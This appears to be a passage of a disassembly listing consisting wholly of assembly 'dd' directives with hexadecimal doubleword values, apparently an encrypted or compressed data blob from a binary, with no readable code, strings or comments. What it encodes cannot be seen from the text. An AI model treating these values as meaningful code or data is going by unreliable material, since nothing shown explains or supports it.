		dd 2D82A0D3h, 75C8F7A3h, 4201E890h, 0B070F423h,	0F0F85E9Ah
		dd 0ED250159h, 0A2CC2E47h, 1BE050B3h, 8CA0F303h, 17052DB1h
		dd 18A66B8h, 331DC000h,	2129A1h, 0CE498E2Bh, 0BF53E684h
		dd 0DA1B7C01h, 0F6CD582Fh, 0E900042Ch, 87D44F54h, 29003679h
		dd 2DEA1AAFh, 7D1E242h,	0BC100955h, 3F25409Fh, 0DD009EC1h
		dd 273CE26h, 13F90B1Ch,	40C0AFh, 17087F6h, 1A04CC5Bh, 338CA19Dh
		dd 0CF04B0h, 9B8F6A5Fh,	28ECD732h, 0A9E06600h, 10696E67h
		dd 7AAF00E3h, 344A9737h, 620FCEF0h, 64A48E06h, 0A380CBFBh
		dd 822D1Dh, 0F99EAB48h,	0A11CDF78h, 0FE861E1Ch,	0AD9F0840h
		dd 0D80EF8h, 0D56A3842h, 0D259EFCEh, 8A48B2F2h,	563D098Ch
		dd 6C54217Bh, 72C2D10Eh, 0B5D50068h, 0CEAD0337h, 0F80BDDA3h
		dd 80205583h, 9632249Ch, 1F770151h, 5661FEE9h, 6C3C7473h
		dd 0E3798300h, 570525Ch, 89361207h, 8190439Fh, 0E0941AE8h
		dd 86002704h, 848902EEh, 1C4E3073h, 920E1F5Ch, 0D0F4009Dh
		dd 0AE7C773Eh, 0D536320Ch, 0E3B99Eh, 0EB91D659h, 4079051Ah
		dd 23A8C001h, 9CEE55Eh,	7A2E60h, 4DC86DEDh, 0F3DF2EADh
		dd 0AB048376h, 44746298h, 82588C90h, 0A8A2070Ch, 0F0F37DADh
		dd 0D7301D8Fh, 6989C100h, 0F7129C26h, 76BF70F8h, 53CE008Ah
		dd 0A010434Dh, 0DC718DF9h, 3E789Ch, 0CEC2DA2Eh,	98B8C795h
		dd 1167304Eh, 2640D928h, 4766E900h, 751D3810h, 0B6D039Bh
		dd 0DEFD581Bh, 28A967C9h, 3BD20074h, 24260E7Fh,	2E7200C5h
		dd 62C0BBD1h, 3A05030Dh, 718D6F5Fh, 5AEFDC00h, 6007EDC7h
		dd 0D8751072h, 0B10F2BF9h, 0C096B876h, 68D1B227h, 0B49E0779h
		dd 0E0835364h, 0ACB11222h, 0B3E29D03h, 8888D365h, 266F392h
		dd 26D2E0EFh, 70C358ECh, 0BDD1C1F3h, 0FE18302Fh, 9A5CFA03h
		dd 0F02829E5h, 30B096C2h, 912132BEh, 9F0019BBh,	30C75D5Ch
		dd 7C4975h, 5BF38123h, 5AACC6BAh, 0E6064502h, 0D29C553Dh
		dd 0B680CF9Ch, 4046C9A7h, 0A8C849C5h, 1C56B030h, 0FB3BEEF0h
		dd 0AECC45E1h, 4E5D00B6h, 850F26C6h, 3D012AC2h,	2FB24717h
		dd 30E4CDFBh, 0AD1183Ah, 6704980Ch, 0DF4BD304h,	0F880F009h
		dd 9E950338h, 0DB917700h, 8D8B9BC0h, 1C1F68C1h,	3380DC6Ah
		dd 486099FFh, 7A243F4Eh, 80ECB626h, 8E2C8FDEh, 0C3055764h
		dd 0BADA8303h, 7E1AF000h, 7C8A3D3h, 0A21F5E4h, 801BF23Eh
		dd 0A572C440h, 596E4288h, 16015847h, 645A9FB5h,	3EF18483h
		dd 0D491B869h, 0A4344F86h, 0F90E00F0h, 2D7FED64h, 3901971Bh
		dd 0FD04E022h, 0F834DA89h, 0B78425C3h, 9140E017h, 4A14420Ch
		dd 0F1D02202h, 8D00CD04h, 0FE14E569h, 61869494h, 3E999EDh
		dd 3FFCB016h, 3BA3A81Ch, 87DDE4A0h, 3CFD0888h, 0B9075BBFh
		dd 47776997h, 53483190h, 0BEA12AA2h, 80D7B471h,	1A37DDh
		dd 0D908FCD0h, 4E350DBFh, 0E03BA3Eh, 6034B2A8h,	49639499h
		dd 2F423B9Dh, 0DA4CB06h, 35053977h, 0C561DE1Ch,	0B812500Ch
		dd 9FC90704h, 42C11114h, 0B261130Ah, 0D754529Bh, 0C9009704h
		dd 0B3F6C6C5h, 0C338C074h, 0E2DA0E8Fh, 45294036h, 4DA902h
		dd 97AB1B89h, 0E4109DC0h, 90CEEB2Ah, 0B244F600h, 0D719A27h
		dd 0E85277C8h, 0E4CC7F7Fh, 0A5C70045h, 0E2AE3977h, 80E7EB6Ch
		dd 631A9C39h, 6AFF69h, 0A2431965h, 3394AB2Bh, 0E13D9E18h
		dd 0F0B1329h, 8C16CCD4h, 19CFEA06h, 5C82E00h, 3B65895Fh
		dd 33453F8Dh, 8FDD1A00h, 0FB96E95Bh, 206BD82Fh,	1C8D18D4h
		dd 0EA11C5C6h, 136007E9h, 0BAE870E5h, 49004032h, 3AC2B111h
		dd 188E60Bh, 90FA0AB3h,	47538A42h, 0F78FF0A4h, 2000B07h
		dd 0BACBFC6Eh, 0A8895CC4h, 10510B0h, 0D0E5C843h, 8112D425h
		dd 0E214E350h, 1424AC48h, 3E7910h, 0E254CFCh, 4E06E3F5h
		dd 0DC74B3E8h, 4DC94400h, 5A7EC7A7h, 3BE00087h,	54DD66D2h
		dd 0A003985h, 1EB62FF4h, 5CA726h, 7377832Eh, 314668FCh
		dd 87FFB400h, 0B76D067Dh, 0A8E000ACh, 0D9A01617h, 0E20C7723h
		dd 30BC0FC1h, 0F6F13933h, 729DB783h, 70735B3Fh,	9F704A5h
		dd 3C030A75h, 6983DB41h, 0D493FFE8h, 0C7657900h, 0DD8CA598h
		dd 0AF8395B0h, 36E042A3h, 0F8195B66h, 6429D2B1h, 1644E508h
		dd 78034491h, 4430CB44h, 12EDB8A6h, 0DA3510ADh,	28417C89h
		dd 9912318Dh, 3C426011h, 56288228h, 2255242Eh, 0F4648419h
		dd 12225C21h, 731482C1h, 1C4025FAh, 7701D128h, 0AF761084h
		dd 140C287Ah, 0FFFB4F01h, 40942A2h, 12AD2D11h, 0FFD711B8h
		dd 14055128h, 847E9642h, 51C8FE71h, 0C8A44731h,	0AAC9D09Bh
		dd 0D8C5C0D5h, 0B6645CFDh, 9D516A0Fh, 0F0229127h, 0E2DE8054h
		dd 0B43B5800h, 8D920B21h, 397FC44h, 0BF887438h,	3A58BC30h
		dd 63820BE9h, 20EA8E6Ch, 1BD03CE9h, 4821005Ah, 0CC2F90E8h
		dd 8B034B24h, 56FC9C93h, 89C5A8E3h, 699900E1h, 0EEF7DBC1h
		dd 0E40028CBh, 6270CEF6h, 17EF8Ah, 0C9544876h, 0F1C495EAh
		dd 83469700h
		dd 9330873Eh, 0DA425C6Bh, 0BEAB1Dh, 22FBA601h, 89EB35FAh
		dd 294C02F2h, 0C0B10E54h, 0BA2AE461h, 1810E281h, 0D23E2382h
		dd 0C400D05Dh, 3ACA05CDh, 9435E5h, 0DA9C31A2h, 0BB8DFF4Ch
		dd 0C703C9FEh, 32C1D9C0h, 537000D7h, 0BCACD6D3h, 0ED00B08Bh
		dd 63F725FCh, 0EC38DBh,	0FFEE3CD9h, 76A8A364h, 9B01BA75h
		dd 0E4301320h, 9820D882h, 0FD240087h, 94454F2Dh, 4000F8BBh
		dd 465728FAh, 1FF41F0Dh, 0CE18C25Eh, 3A87AE38h,	0C33140AFh
		dd 600B42Ah, 0EF6AA4ADh, 77D7E2h, 90C7DF80h, 1E3A93BDh
		dd 0A8DE0E03h, 809AB26Ah, 0F12B7EAh, 0ADC96685h, 0F4E5435Fh
		dd 2FA05B29h, 1F011120h, 252B1E1Bh, 64E424C0h, 54E30B4Ah
		dd 0AB00331Ch, 7FBC3AC3h, 0EC7252E8h, 9269600h,	0A49EDA2h
		dd 0FAEE0E8Fh, 0D72058D2h, 0A1FE340Fh, 0A3271B1Ch, 0DC02B00h
		dd 0A8D2DBh, 83EB2CEEh,	34750E3Fh, 0D46D0228h, 68D51D00h
		dd 0B01073BFh, 0E67A00A5h, 0BE9506D6h, 0BD0011DEh, 0BCEC0499h
		dd 54700Ch, 9197CB81h, 0A79CAE9Fh, 0C55AE400h, 9380DCDh
		dd 0F6E50015h, 7F9BE30Bh, 0E80C0801h, 609A2D8Ah, 0ED75ABh
		dd 85A204AAh, 6351BAB0h, 1D22F3Ah, 54E60375h, 7FCD0705h
		dd 12F04420h, 20256DF4h, 72DA951Ch, 6174A700h, 0D5B86E44h
		dd 731A0075h, 0B236537Fh, 0F9029BCCh, 4BFDD013h, 804407Ch
		dd 0DB710420h, 80EC0281h, 38A6DC9Eh, 3383DF13h,	5940AC40h
		dd 1817610h, 360CE1CAh,	878E5C53h, 0FDF41940h, 79F10BA0h
		dd 5EEE019Ch, 9D34B35Ah, 0A1E840A4h, 86036DF5h,	4D042577h
		dd 68B2B8A2h, 8BF200D4h, 0B7B43487h, 157F6453h,	78248C07h
		dd 0A8F084DEh, 9BEE09h,	9D487554h, 0C85BF39Eh, 0C20ECA00h
		dd 0D0F813Fh, 0CBAF2446h, 0F20F3914h, 0EFA0DA64h, 0A890B6F8h
		dd 75877D00h, 35DDFC98h, 0D4FE5Eh, 301677BAh, 8523DC8h
		dd 7663A207h, 10E0ED5Bh, 1352075h, 3D42D33Ch, 20940402h
		dd 4B0F4913h, 0E0816847h, 923FF59Bh, 902000B4h,	6141AFDFh
		dd 4A01677Dh, 46380C72h, 0FBE8EBA8h, 0DACE0092h, 0D80DED3Eh
		dd 0C4506983h, 8C0F80ACh, 52A681C5h, 0D5ED5E00h, 1537F6h
		dd 1D2F1F3Dh, 20E16528h, 0C1002A90h, 0ABEC16DDh, 4FA06h
		dd 2D815B70h, 55A26A42h, 1954F900h, 631E258Dh, 46484C89h
		dd 0B341B209h, 0CB951820h, 9824CA82h, 8B0250BDh, 0A0F49CAAh
		dd 555CA0C8h, 0F10A0685h, 19C777A6h, 844FF53Bh,	0AD0CB6A3h
		dd 0BB5071C0h, 39350090h, 328A6C6Fh, 5D00749Ch,	3B36626Dh
		dd 3C386875h, 0EE83A525h, 0DF1CCAE3h, 7A28FC98h, 84EDF400h
		dd 585E3A17h, 5A3F0089h, 0F3A76676h, 0E00F2CFh,	24C81686h
		dd 58B279h, 0C58E5ACDh,	94EC1348h, 0E95CF501h, 89656DAEh
		dd 49A39C8h, 91117AC1h,	4AF78080h, 1000D1BEh, 1862F3DDh
		dd 0B60FF1h, 0B3DAD596h, 2BFA7141h, 0A91D57F6h,	66C760F9h
		dd 0F5CA221Bh, 25A27700h, 14AC783h, 2A787DB9h, 0D6880F9Bh
		dd 32018780h, 0A602D477h, 52FFCB47h, 0C54C028h,	8CCA0508h
		dd 3C799EEh, 0B5BCB0F0h, 8BD3D6E8h, 0E5DD6900h,	0E054726h
		dd 4CFF004Fh, 50F054F8h, 0AA00C7FBh, 7BDC420Dh,	0F52A36h
		dd 1E314B60h, 85929A32h, 0E945091Fh, 795300E0h,	0AA394218h
		dd 0CF07F716h, 77EA577Ch, 0F61E1AD0h, 0B78B0EC2h, 5A079249h
		dd 15EA042h, 3100F326h,	78EC9193h, 259C94Fh, 97066299h
		dd 0E840DBE7h, 0DD006F55h, 9EE69DEBh, 13C1BA34h, 7D8060h
		dd 1653F54Ch, 3D1EE7B1h, 460124EDh, 6F7F315Ah, 0D5F420h
		dd 1D9E3B3h, 0F11BF4E9h, 4AC98900h, 0B854765Eh,	0EBA60377h
		dd 9EAC05ECh, 3641A8F8h, 1E9AE58h, 170A3DBBh, 0F04029CAh
		dd 0F891397Ah, 7B81Ch, 0AFFDBD68h, 0F6762D6Fh, 580AA82Ch
		dd 4208C17h, 4BE2E72h, 990AF2Ah, 2F48C00Fh, 11FFCC1h, 300BB37h
		dd 55C6235Ah, 16D200A4h, 1FCEEF67h, 7A03D883h, 0C3CAB57Bh
		dd 46959807h, 0FAE1003Ch, 5A222A34h, 7E48F772h,	0C14C00A4h
		dd 3C4E576Ah, 0DE6D1DFBh, 0EC8D8355h, 5FCBF17Bh, 0A458C0DCh
		dd 1A3DC219h, 8A8B8041h, 14F8AD26h, 0BC8D0204h,	0DCB72A31h
		dd 0FF4D5C60h, 0D37B5D05h, 0BC0037DDh, 0EB4BE422h, 611400B0h
		dd 7EE3FE56h, 0C278EF62h, 9ABBDD00h, 0FBB26E4Dh, 0F17A59h
		dd 2446C729h, 962E051h,	3C869900h, 3968A04Dh, 8D530284h
		dd 0B3A4FE94h, 0D4B03860h, 0C1796225h, 37E03DA5h, 0F0A27707h
		dd 0E0DA021Ah, 330CC54Ah, 4B84E080h, 1B00AF5Dh,	0CBDB1E41h
		dd 1C5F0770h, 1CC846D9h, 56C54064h, 16FF8887h, 0D58D980Bh
		dd 0A649051Eh, 695AE700h, 0B03B61CEh, 2EB93C05h, 8D4D8100h
		dd 248BA862h, 89E138h, 0FD6F9F1h, 0D417ECh, 0ED139837h
		dd 0DE362D57h, 2454EE00h, 9D1B94D0h, 50915853h,	0C3B46605h
		dd 0AF1C9526h, 7C71AA80h, 437000E6h, 0FE60F4A7h, 1B0CF6C2h
		dd 96AB0154h, 77420024h, 0A0295358h, 2C009C37h,	22A1F7ECh
		dd 0F2274184h, 93092E7Ch, 0B1F00088h, 0C036101Bh, 0B7A89F00h
		dd 0DB258BEFh, 125804EEh, 804A52DAh, 5AEBF510h,	0AECC810Ah
		dd 0C00F026h, 7FDB4A1h,	2D250067h, 1DCD458Bh, 2E058D3Bh
		dd 0A6DDCB31h, 0E0FC44C2h, 651AACh, 6DB0A15Fh, 2A14834Fh
		dd 0F1AD6300h, 9A09397Fh, 1D8200E3h, 55950F06h,	203E8BAAh
		dd 27651FA5h, 44849340h, 396EF828h, 5F8031D8h, 782DA6F2h
		dd 867D630Bh, 0AD58DC00h, 21DF39E3h, 0E0125F61h, 180237FDh
		dd 7D8B657h, 0A2B88069h, 1280E96h, 5E61488h, 0C5AC038Ch
		dd 0A6B9DC98h, 701B1D00h, 0C2DBB6B4h, 0B73A0F0Ch, 0B080A978h
		dd 0C60F3FB9h, 0DF03F900h, 0B691C31h, 584909Ah,	401AAC5Eh
		dd 0B2BFC03Fh, 0B409AED2h, 80C0F9A7h, 14DF10A0h, 0F3370331h
		dd 863E026Bh, 2D64E688h, 0AC9EAF09h, 0B0B08094h, 1D4A281Bh
		dd 803B666Eh, 2755C997h, 7D01D1ACh, 0E5B2F9D9h,	78F1A4A2h
		dd 273A030h, 3941B9DAh,	0D7806450h, 0CB437E6Bh,	604BE75h
		dd 46BB9AD3h, 76D1B080h, 0FED70308h, 0DD49A213h, 787A9CE0h
		dd 0D49FD001h, 0BF6EBCA8h, 0FA4EF443h, 641A400Fh, 0EDC82C4Ah
		dd 0BB1C00E0h, 0BDB20156h, 7E790C00h, 0D35BEA4Eh, 0DAC83058h
		dd 3E49ED58h, 76DD0400h, 650F4125h, 1B1F002Ah, 1121B7E0h
		dd 0A1F84CFAh, 1D976700h, 0DC168D8h, 0D11B0096h, 2B0F5D14h
		dd 761EB051h, 0E1401E44h, 0E6AD9050h, 0E032F2C0h, 4598D8h
		dd 7B727704h, 0C210CCE8h, 35809C96h, 0FBF9221Dh, 0BB8F0063h
		dd 7380E068h, 7B90664Eh, 6F6B4C00h, 6C4D3BA0h, 15C4147Eh
		dd 1C00D494h, 7AE57104h, 0BD02774Eh, 0A24B9961h, 2CD8E4A0h
		dd 18F8D0h, 0BA166B66h,	0DE009073h, 0BBA1AACAh,	1EA17DFh
		dd 291F0596h, 572FE06Eh, 852DD0D4h, 8D002654h, 0F0180C74h
		dd 71ED922Ah, 0AAAF0259h, 5172FAF3h, 18D5B860h,	533B8900h
		dd 28C1D7F7h, 9CDB503Ah, 50A467E6h, 961A9162h, 0D0C4201Dh
		dd 0AFBD150Fh, 0C07A6EC7h, 0DE0F26FEh, 57EC073Eh, 401FF94Ah
		dd 0E077DB85h, 0B2006E7Dh, 1E015B2Bh, 9A5E8BE3h, 56AD0088h
		dd 39B04BC2h, 0F600945Dh, 0B180636Bh, 26A55975h, 192C71Eh
		dd 0D5928640h, 1002FC43h, 2651D800h, 0B284E56Dh, 0E201005Ah
		dd 0B536CEA6h, 0D005331h, 38441F22h, 7E5A7AC3h,	0E5F700FAh
		dd 9476556Ch, 0FD004DE0h, 0A15C8E57h, 0E886FEh,	2A40640Dh
		dd 0D4EC7311h, 3A9BF500h, 0E1B14424h, 3C3900A6h, 75535B32h
		dd 783F4A6Ah
		dd 30CF8373h, 0E85C1650h, 0F96CD34h, 0A6E9E10Fh, 0FAE6B240h
		dd 8269740h, 7400F012h,	0E782AEF9h, 54F10065h, 7B0D6D1Dh
		dd 4700FF6Eh, 6FDA9756h, 0B4AB442h, 6DCF6A81h, 5874A800h
		dd 6601CB72h, 5FEFCC35h, 0E08049AFh, 0BF87FC60h, 580088EEh
		dd 8E78B963h, 707D77D7h, 9BE300E2h, 626F20E4h, 80124805h
		dd 7D005B0Fh, 0B5178DEDh, 3F980070h, 0F8C8B0A7h, 3600C692h
		dd 0ACB4E8B8h, 1CED9BFFh, 0C0751097h, 68B21C45h, 6AB0B111h
		dd 0CEE48500h, 6E1F0E06h, 547B4CD9h, 0CA80F13Dh, 3CDA8122h
		dd 470029F6h, 36A88CB4h, 1E20B1E3h, 476A0879h, 80C22DFEh
		dd 0E09EF1A4h, 0F8381709h, 81140E16h, 3C9147B4h, 0BA2103F7h
		dd 256A6339h, 871A50E8h, 0FCCCDC00h, 0B5CA41F6h, 0C6200EBDh
		dd 0E1078410h, 82C71E5Bh, 0E3809017h, 57011911h, 5C78AA48h
		dd 3860C8C9h, 1BC20072h, 8F628125h, 0DA010229h,	3965F88Ah
		dd 3030676Ch, 5BE50C2Eh, 0FB11FE74h, 0D7F41C00h, 0E4F085FCh
		dd 0B14F00B3h, 77C69936h, 29095F96h, 0C315E6B4h, 76568884h
		dd 47D8A8B7h, 0B4AA00FCh, 3277743Bh, 0C4E1A9Ch,	0AAF35023h
		dd 71001C4Ah, 391A22D4h, 288B57Eh, 58104698h, 0DCE43140h
		dd 0A075F500h, 0D5C41BD1h, 1AF3005Ah, 14CE2F3Dh, 4603E430h
		dd 0B1FEB6BDh, 0EDEA986Fh, 253F0E2h, 7083CE2Eh,	7858E9C4h
		dd 2264B302h, 61348BD6h, 0B940EF29h, 0A3ACD8h, 0D7C6DCC4h
		dd 0F6BAF807h, 35E5E700h, 0E0E9B9A0h, 19ECF8A8h, 1ECC74A5h
		dd 7654EC26h, 0AED3306h, 0FCAE08h, 4CD2722h, 94C3BB5Eh
		dd 72101E07h, 8E5011A0h, 1DE591h, 7C70173h, 0B6AEDB1h
		dd 0A0FA8900h, 836C542Ah, 0C30900F3h, 38622404h, 850071B4h
		dd 0EDD36D76h, 0F5986E4Ch, 2FABECh, 0F2B76049h,	0C91DB050h
		dd 3CE7BC01h, 79801BD2h, 0B9835083h, 3FE841A2h,	0CD79F66Ch
		dd 531AC690h, 43905CCh,	0B1C324D4h, 0FDF5D844h,	0D5080728h
		dd 70F3BF9Dh, 1CCFBA13h, 4F74110Fh, 0E7B720ACh,	0E332C3h
		dd 97313473h, 51A30DAAh, 8128307h, 0BB3084B6h, 3A17A8h
		dd 93BDFAEEh, 0A7BAA073h, 0AEEBDD01h, 47183E16h, 2BF4A9FDh
		dd 0D2F80008h, 0E3CF9BC5h, 0C60035ECh, 7F23272Ah, 7E8FC4DCh
		dd 0BFEA9Ah, 49723A21h,	0F862C93Bh, 0C8367E00h,	787D27A0h
		dd 63510705h, 0A0C2EA37h, 3CBBD3Ah, 0D4006278h,	0FFB80B21h
		dd 63C4DDh, 0F95C992Ah,	6642CF26h, 97273800h, 247B6F1Ch
		dd 0DA78004Eh, 5231897Fh, 0EF005A0Eh, 2638B895h, 0C0E6460Dh
		dd 6819810h, 0C5005285h, 68FE9FC1h, 0BB2034h, 44034B3Dh
		dd 8AA05541h, 6B4E500h,	0A812DD6Ah, 0EC2C0F61h,	26C0A334h
		dd 78D11A7Ch, 8086473Ch, 182D25B8h, 0E316435h, 2F51293Dh
		dd 0F6B7A5A0h, 59C35688h, 0F3C65DC9h, 0C1E0DAA9h, 2261CA81h
		dd 53FC8AEDh, 0B0EA00C7h, 5B7E2338h, 50B863EBh,	0ACE06B1Fh
		dd 4BF2B241h, 69D46560h, 3BE500DFh, 8DD8A26h, 0EB007689h
		dd 0D244A9E2h, 26FE60F5h, 5C8E64Dh, 803B4854h, 6A23659Bh
		dd 0D434C90Eh, 173E605Ch, 3B9E887h, 103DA992h, 79A8A7E0h
		dd 2F00D853h, 0A15EEAC5h, 92AB8E1h, 0D7B694DBh,	0CD910180h
		dd 514827F8h, 45080373h, 0D0FD76C1h, 7BE79B6h, 1007CB88h
		dd 8E4ED00Dh, 5E0099FCh, 0CCA4C54Bh, 28899Ah, 0B3A66EEEh
		dd 3EABD96Ch, 0F8606D00h, 957643A8h, 0B02500AAh, 235C08EAh
		dd 93C01D1h, 7B1102D4h,	0D824DEABh, 0DCCF0374h,	3D4D3667h
		dd 3C7F1EB1h, 3E3C0094h, 0E92D9443h, 0EA080019h, 0C95A2385h
		dd 6D019BCFh, 0FDD824D7h, 74305675h, 16BC0004h,	8A9EE692h
		dd 3C04D91Bh, 0D753F737h, 541F20A8h, 1FBF00A4h,	6368F960h
		dd 2AA6A003h, 0F8F59C66h, 8832A8h, 0B3F6D727h, 62AA1AB8h
		dd 488DA750h, 1FD09C00h, 0F852116Fh, 0B8E800A0h, 0E6325E37h
		dd 752C3BC3h, 0CF00961Dh, 31A4D524h, 0FDE1009Ch, 0D2986AA8h
		dd 2800AC43h, 0F944015Fh, 0B07C5503h, 21AD00BEh, 25A290DAh
		dd 0E4988BB6h, 4D3EC000h, 0B7997CF3h, 2C4E0070h, 0E3519701h
		dd 0EF0E9B21h, 633A114Fh, 0E8B67F15h, 0BCF742h,	80C40630h
		dd 0FCA26919h, 0C900AC78h, 0FAAF20DCh, 1D89E52Fh, 83EF9F4Eh
		dd 5EF17246h, 0D798ECBBh, 0D600691Ch, 8C505205h, 3FC6A43h
		dd 576EDFF5h, 0CFF85480h, 0C800CE7Dh, 4AE6A993h, 1C59FEF8h
		dd 80580348h, 9DCC3A56h, 88504B33h, 0BC005EB8h,	0D6701ECBh
		dd 3D545ACh, 0E1945902h, 78004B68h, 0F1FB2658h,	3919BC33h
		dd 4C016AAEh, 6B608F1Ah, 74277020h, 0FFC3840Fh,	87AC89D9h
		dd 11A09C19h, 0BDB38Bh,	0ADA204ABh, 7D846044h, 3D9FD00h
		dd 0B9B830E3h, 9A6E0022h, 93C04B2Ch, 2100A215h,	608CAD1Eh
		dd 5EF9A7h, 0F64E7204h,	55A556D6h, 26E14A00h, 4D475C5Fh
		dd 0CA5700F4h, 806D1B9Ch, 6F00AC62h, 63820CF2h,	320A8EDh
		dd 0E2B70ED0h, 38C85B90h, 0E4012FA9h, 74815568h, 0DC6071A2h
		dd 8B500BDh, 4F701320h,	47001985h, 1F356977h, 5D6E7Fh
		dd 5CD8A4F8h, 22B80F63h, 0F238340Eh, 873DE03Eh,	65C193h
		dd 0A89FAE2Ch, 79D8575h, 0DF00C8B8h, 0DE2764A1h, 24314BFBh
		dd 590D808h, 9BE020Fh, 90210BF6h, 80955D38h, 2A14B652h
		dd 0FD6AFA36h, 92F6A6FCh, 3E03007Ch, 0B5337A66h, 5A00E345h
		dd 7199AF1Dh, 1DA3CC72h, 0C005F3A8h, 0A4EBA711h, 0FA00E786h
		dd 0EEDB260Eh, 68DF0BCh, 452EFF34h, 6F0030DCh, 670DCB63h
		dd 3F148A56h, 360E5E3Eh, 9F4094BDh, 0B3F287F9h,	0DC9C48h
		dd 0B539A98Ch, 0B66C41Eh, 793B33CAh, 0E8241380h, 2F00CD01h
		dd 0C0B270C1h, 2CE5ABE6h, 1493680h, 0C2429958h,	0C6E7DCC5h
		dd 470C4E04h, 0CCF0FE50h, 0B4CF003Eh, 0F3A27F55h, 1005E2Bh
		dd 67332031h, 0FF5FECh,	867530A7h, 66FA27D8h, 242F5500h
		dd 99476C44h, 0B5711F8Eh, 83A407E4h, 7A68D04Ch,	0A8758121h
		dd 61D15200h, 0D28776E5h, 0FF7175h, 7EBF9993h, 0F86A5FBDh
		dd 789A3126h, 8C884800h, 1F2A8EB8h, 0B5B1A4h, 2BC8FBFh
		dd 0E4026707h, 0E9192DAEh, 0A55460BDh, 0B2B300FFh, 0A8CCE1EEh
		dd 0D6003BE3h, 1C4B317Ah, 50FD4Ah, 0B1E2580h, 0B3766152h
		dd 0C3121094h, 60885C0Fh, 7CC75FBEh, 2663002Dh,	8EBC6A9Ch
		dd 4A0067DDh, 0C8252EACh, 18D8CAA8h, 0A866B111h, 0E4001CA9h
		dd 697F626Eh, 2836E850h, 0E7983749h, 30204061h,	1250BCBAh
		dd 9F6CA55Ah, 11647611h, 7BA4072Fh, 0D84A2CB0h,	6FECF013h
		dd 0B9A2A048h, 0E8D05EFEh, 27E640C3h, 0D0110074h, 54BDB615h
		dd 0C4126C0Fh, 0B4032037h, 0F842E938h, 0C047D78Ah, 98149548h
		dd 1C00E604h, 3F0A816Eh, 738396h, 0C2CCDDBCh, 0FD26E8B6h
		dd 0BE658E16h, 7793040h, 0FB744Eh, 0A8F4D99Ah, 2A1DD64Ah
		dd 95344CB2h, 1C60711Fh, 2AFED79Fh, 0EB41A50h, 322CF11Ch
		dd 3E665AE1h, 0C9D271ECh, 799C40DFh, 5209F97Bh,	80A0DCDAh
		dd 1663F3D7h, 33A80155h, 0B5055A89h, 81143060h,	0A2FD2B0Ah
		dd 0F3839C4Dh, 0E1B074Ch, 3CC84169h, 4E361120h,	46004D76h
		dd 3EF58E2Ah, 1C8A39F7h, 419BE08Bh, 0C5552793h,	7BA1C058h
		dd 42FD8D0Ch, 0F07449ACh, 1DE72E6h, 3682F42Fh, 0E490CE99h
		dd 0A1603BB0h, 0F8D997E9h, 0C5540A72h, 80ECAD55h, 21C940F6h
		dd 7F0090DDh, 0D57962BBh, 0E0F00BEFh, 0EC6B0645h, 385F4C9Ch
		dd 0B3065806h, 0ECD18C63h, 0DFF4008Ah, 0FE3187FCh, 6406A522h
		dd 8B12BB40h, 2FD50078h
		dd 2465440Bh, 0AC12DF59h, 80A06C34h, 52772E5h, 0E6B5B896h
		dd 89E00109h, 60131C35h, 0F8679B51h, 0B050FE69h, 0BD8FDh
		dd 34E775C4h, 27C778ACh, 64A33800h, 0D6828418h,	1DF0964Bh
		dd 141CE431h, 58224D4h,	400CB5F7h, 0A745384Fh, 40F2C49Dh
		dd 965A838h, 0FF027A31h, 33DADE8Dh, 2E24E087h, 361307E6h
		dd 53F571B6h, 0D3D0A1EBh, 0DF601FD6h, 23822A70h, 0D0DC1E86h
		dd 2C2B85EEh, 0ECD04904h, 100413FEh, 0D8806299h, 981DA14Dh
		dd 19500093h, 63B61F3Dh, 0D892C8BEh, 0DAD1DF2Ch, 78F12200h
		dd 5030A832h, 30878E91h, 0E3928F67h, 28034F5Fh,	11633698h
		dd 4A589075h, 68950E25h, 5CE0B010h, 8413BD26h, 43183800h
		dd 7E21FCE4h, 48390E5Eh, 98F58927h, 0B677230Ch,	451F02B1h
		dd 0ECE4F268h, 0B0D3DD80h, 0BD6B0Fh, 6EEE291Fh,	11D140B5h
		dd 9DBFACA8h, 84238439h, 8BC0B6D4h, 0D90EB4ADh,	0CFC021C7h
		dd 9214DAD1h, 993A0901h, 0D7612C46h, 906891DCh,	20250008h
		dd 1ECD7DD5h, 0B8B86533h, 243B0BE8h, 728F00A5h,	213A14C3h
		dd 41C91E44h, 0EDA4C0F2h, 3D9E649Ch, 3FF61976h,	8DB03805h
		dd 90A0C587h, 22B700E3h, 14F78E7Fh, 412C62B8h, 0D80F18FCh
		dd 47B08154h, 46070A1h,	82940158h, 0BFC1F02Ah, 4A08E4B2h
		dd 8E1BCF00h, 3A18C25Fh, 0A9C40041h, 7670C664h,	8B401DECh
		dd 787C0044h, 0A03662BCh, 0D4B4A9B5h, 33FBA680h, 321AB11h
		dd 84CA1535h, 97D8A1F5h, 1400F2C6h, 1D079CE9h, 24D6E12h
		dd 9465087h, 4C07E25h, 5D253647h, 964C4041h, 16FF268h
		dd 311D8C54h, 0C05AEC93h, 13037732h, 0FA2640ADh, 0B079E06Dh
		dd 6EBA00D3h, 0B40DA775h, 2C005B1Fh, 2B739CF7h,	182309Bh
		dd 2EDCEDBCh, 60B26E41h, 4009514h, 15CC9FC7h, 92096AE1h
		dd 0C64F04D8h, 9085E66Ch, 3C324B0Ch, 3950249Ah,	0C077FFDh
		dd 0A864E49Fh, 1A4598A0h, 57CA0C1Eh, 6C9A9EFAh,	0B7809700h
		dd 90659418h, 0E1DA0001h, 3408AAC8h, 38018FF5h,	4C75136Ah
		dd 44FC02B7h, 3D014CD8h, 0E825AE00h, 3B612B72h,	0B6EA3800h
		dd 77A80BA4h, 0CF830075h, 391870B8h, 0E30FBC21h, 0AB711F08h
		dd 4F468724h, 2D15E730h, 1166028Bh, 0FDE262ADh,	0BD13E870h
		dd 9400802Bh, 7AC4C77Dh, 0C27900E5h, 0EFA5FD9Eh, 5C003635h
		dd 26921A34h, 2824305Bh, 0D08FD1h, 0D36CAFE9h, 0D8DE8055h
		dd 0CE007E76h, 31883E30h, 0DC8D3Ah, 2321B6C3h, 0A8B97325h
		dd 300010B2h, 0A52A65CBh, 0BCAC2Bh, 0F2D56AABh,	734CF991h
		dd 1300C1E0h, 7F0470A2h, 6A0C3B9h, 9B57ECFFh, 0E42620D3h
		dd 770068CCh, 0D9289E84h, 0DBA013F0h, 98802016h, 43012388h
		dd 0CD50445Fh, 0E050A285h, 4547C2h, 9822F27Ch, 2FDA0DB3h
		dd 9200089Ah, 0D9930E81h, 47F32CDh, 804BC564h, 42F5C0D2h
		dd 362C8125h, 8F0070B2h, 991BCCB6h, 89ACBh, 0FC7243DBh
		dd 0BCF6C2AFh, 66C4C800h, 3091E81Ch, 0BC2493E1h, 0E955A700h
